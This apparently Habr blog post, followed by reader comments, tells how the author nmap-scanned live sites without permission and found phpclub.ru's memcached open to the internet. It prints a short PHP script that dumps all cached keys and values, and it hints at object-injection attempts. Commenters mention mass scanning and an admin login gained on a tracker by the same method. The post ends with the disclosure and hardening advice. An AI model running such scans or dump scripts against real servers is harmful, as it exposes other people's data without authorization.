Как я нашел уязвимость на phpclub.ru

Тихим, теплым, вечером разрабатывая систему кэширования через memcached и добавляя сервер меня вдруг посетила мысль.


С чего все начиналось

А все началось с того, что я перешел с Debian семейства к семейству RHEL. Примерно неделю назад я первый раз своими руками(не могу сказать что на Ubuntu это было своими руками) поднял сервер для разработки проекта. Я своими руками правил конфиги nginx, apache, php — раньше на Ubuntu все ставилось в пару команд и работало само. Впрочем, правя конфиги, я стал лучше понимать, как оно там все работает. Наверное это меня и подтолкнуло к мысли о memcached.



Поиск цели

Сначала я конечно проэкспериментировал(поставил memcached из rpm и забыл) на своей машине и не был удивлен результатом, так как сама технология подразумевает масштабирование серверами и не предусматривает авторизацию. Но я сильно сомневался, что кто-то оставит такую дыру в реальном проекте. Но мне ничто не мешало проверить это. В качестве сканера портов я использовал nmap. Да простит меня НЛО первым в очереди был habrahabr.ru, но он достойно прошел испытание, а вот попытка номер 4:


11211 порт открыт. К действию

Я написал маленький скрипт на локальной машине и успех:

Малость доработав скрипт:
Вот и он
$t= new Memcached ();
$t->addServer('phpclub.ru', 11211);
$z=$t->getAllKeys();
foreach($z as $k=>$v){
var_dump($t->get($v));
echo $v,'---',$k,"\n";
}

Был получен очень перспективный для хакера результат: все данные были сериализованны. Я принялся анализировать данные, в них мне удалось распознать кеш для меню раздела faq.
А вот и он:
linktracking|i:0;bookmarks|a:5:{i:0;s:11:"((Каталог))";i:1;s:13:"((Изменения))";i:2;s:20:"((НовыеКомментарии))";i:3;s:16:"((Пользователи))";i:4;s:27:"((Регистрация Регистрация))";}bookmarklinks|a:5:{i:0;s:7:"katalog";i:1;s:10:"izmenenija";i:2;s:16:"novyekommentarii";i:3;s:12:"pol_zovateli";i:4;s:12:"registracija";}bookmarksfmt|s:157:"ўўКаталог ==КаталогЇЇ | ўўИзменения ==ИзмененияЇЇ | ўўНовыеКомментарии ==НовыеКомментарииЇЇ | ўўХакИрФсимагущий ==рулит!!!ЇЇ | ўўРегистрация ==РегистрацияЇЇ";show_comments|a:1:{s:24:"qhelp/HowToDisplayErrors";i:0;}'

Честно-честно, он прямо вот так и выглядел! Любые совпадения считать случайностью.
А вот как выглядит страничка с таким кешем:

UPD старая картинка первая в теге img
А что дальше?

А что не происходило дальше и как я не применял магические методы toString и destruct рассказано не будет, мораль не в этом ;)
Естественно, я сразу попытался выйти на связь с админом, сообщил об уязвимости и на данный момент она закрыта.

Мораль:
Закрытие порта от внешних сетей не хитрая вещь, но даже джедаи phpclub.ru могут упустить ее из виду. Этот случай, реальный пример из жизни показывающий, что люди могут ошибаться даже в таких казалось бы элементарных, очевидных вещах. Доверяйте безопасность и конфигурирование сервера профессионалам.

И не надейтесь на то, что ваш ip(даже без привязанного к нему домена) адрес не просканируют.

Сотни джедаев habrauser'ов уже в пути, а за ними и армия клонов ботов.
P.S.
И кто знает сколько еще велосипедов построено на просторах интернета и сколько из них закрыли доступ к memcached с внешних ip…
Кто знает…
Ads
AdBlock has stolen the banner, but banners are not teeth — they will be back

More

Comments 17

    –2
    И кто знает сколько еще велосипедов построено на просторах интернета и сколько из них закрыли доступ к memcached с внешних ip…


    Говорят, с помощью этой штуковины: zmap.io можно узнать за 45 минут при наличии гигабита :)
      –2
      Я мало что знаю о сканерах, но полнное скание на nmap заняло у меня минут 10. zmap просканирует только 11211 порт на всех ipv4 за 45 минут?
      0
      Дык просто голову надо отрывать админам, которые это делают (в смысле делают доступным извне подобные вещи, либо наоборот не прикрывают), да и нефиг пихать мемкэш на фронтэнд. Да и нефиг открывать все порты.
        +4
        Минусуют те самые админы, которым надо руки, ноги и голову отрывать?
          0
          Нефиг то, нефиг сё…

          Лично я забыл проверить на открытость портов. Да и не предполагал даже. У него же в дефолтных конфигах доступ только с 127.0.0.1 стоит.

          Сейчас в Zabbix внёс сканирование всех портов (базы данных, кэш и кое-что ещё) на всех пром серверах.
            0
            Сейчас в Zabbix внёс сканирование всех портов (базы данных, кэш и кое-что ещё) на всех пром серверах.


            А через netstat не посмотреть на самих серверах куда светит открываемый порт?
              0
              netstat забыл, да

              zabbix будет делать netstat за меня
          +5
          Мне удалось примерно тем же методом войти под админом на один из трекеров. Особенно хорошо «ломаются» проекты с открытым исходным кодом, когда знаешь какие ключи в мемкеше нужно искать.
            0
            Блин, ещё и SMTP

            Откуда вы только берётесь, такие настырные :)?
              0
              Это любопытство от природы (:
            +4
            А разве memcached по умолчанию не на 127.0.0.1 садится? Это как надо напиться, что бы его на 0.0.0.0 повесить (он вроде даже ругается при старте об этом в gentoo) и не закрыть в iptables.
              +1
              Иногда сервера «только для мескэша» ставят на отдельный IP
                +1
                Или даже так «Вот разбогатею — докуплю хост для мемкэшА», а пока потренируюсь конфиги править. Так не работает и так не работает, а вот так (0.0.0.0) работает! Ладно, ничего не трогаю больше, а то основной сайт уже несколько часов из-за меня пятисотые выдаёт.

                А! Оригинальный конфиг я, конечно же, сохранить забыл, поэтому откатить уже никак не получится — путь пока живёт так

                :)))
              0
              Redis по умолчанию тоже открыт наружу. Когда осознал уязвимость у себя, просканировал подсеть хостера, проблема имела место не только у меня. Через поддержку предупредил тогда других.
                +2
                Я написал маленький скрипт...

                А можно было просто погуглить: 30 июля 2010 года на конференции Blackhat USA ребята из Sensepost представили go-derper — скрипт на руби для сбора данных с открытых серверов memcached. Тогда уязвимыми были еще многие достаточно крупные сервисы. Например bit.ly. Кстати при подготовке доклада было просканировано 65536 IP и обнаружено 229 открытых всему миру портов с номером 11211.
                  –3
                  >Блевать синоним
                  Сделал мой день.
                    0
                    почти все nosql из коробки не юзают авторизацию и многие достпны на внешние коннекты, мемкеш лишь вершина айсберга, есть куда более интересные штуки, типа mongodb. Отсутствие авторизации объясняется скоростью работы, т.к. системы заточены под хайлоад. Внешний ип — расширение. Типа вы там сами фаервол настройте ) многие это не делают.

                    Кстати, при условии найденной ssrf, закрытие порта наружу не спасёт, только авторизация. Так что я бы советовал закрывать именно логином/паролем. Ну и не использовать понятные ключи, типа «user_1», достаточно сделать md5() прослойку при set|get, тогда и в коде ключи будут понятны и любопытные пользователи будут долго ломать головы.

                    Для мемкеша давно есть libmemcache, в который входит memstat, memdump итп, и скрипты никакие не нужны ) всё из консоли работает. Ну и не забываем про shodanhq, там это всё доступно уже давно.

                    Only users with full accounts can post comments. Log in, please.